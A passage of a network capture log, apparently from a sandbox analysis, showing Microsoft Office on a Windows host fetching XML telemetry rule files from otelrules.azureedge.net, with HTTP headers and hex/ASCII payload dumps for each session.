2024-10-28 07:18:25 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:25 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 9800c975-801e-008c-0e2c-267130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071825Z-17c5cb586f6g6g2sbe6edp75y400000006s0000000004u99 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:25 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:25 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:25 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:25 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 19ae2231-801e-007b-0d9c-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071825Z-16849878b78x6gn56mgecg60qc00000006h00000000065w0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:25 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:25 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:26 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:26 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 5383d0ca-b01e-0053-2a56-26cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071826Z-r197bdfb6b4b4pw6nr8czsrctg00000005ag000000006pct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:26 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:26 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:26 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:26 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 60449bdf-301e-005d-500b-26e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071826Z-16849878b78qfbkc5yywmsbg0c00000004a000000000bskr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:26 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:26 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:26 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:26 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: a3881376-a01e-000d-19f4-27d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071826Z-r197bdfb6b4skzzvqpzzd3xetg000000042g0000000048u6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:26 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:26 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:26 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:26 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071826Z-16849878b78qfbkc5yywmsbg0c00000004cg000000006m8p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:26 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:26 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:26 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:26 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 28718399-201e-0003-7628-26f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071826Z-r197bdfb6b47gqdjqh2kwsuz8c000000051g000000008mkx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:26 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:26 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:26 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:26 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a91e6534-e01e-0020-5f90-27de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071826Z-r197bdfb6b48v72xb403uy6hns0000000550000000008rnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:26 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:26 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:27 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:26 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071826Z-16849878b7828dsgct3vrzta70000000034g000000005g3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:27 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:26 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:27 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:27 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a453eede-301e-0033-02d5-26fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071827Z-17c5cb586f6sqz6fff89etrx0800000004e0000000000zn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:27 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:26 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:27 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:27 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6afd71f5-301e-003f-7d9e-26266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071827Z-16849878b787bfsh7zgp804my400000003k0000000002gfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:27 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:27 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:27 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:27 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: cc0127df-201e-0003-7bc7-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071827Z-17c5cb586f626sn8grcgm1gf800000000340000000007v3f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
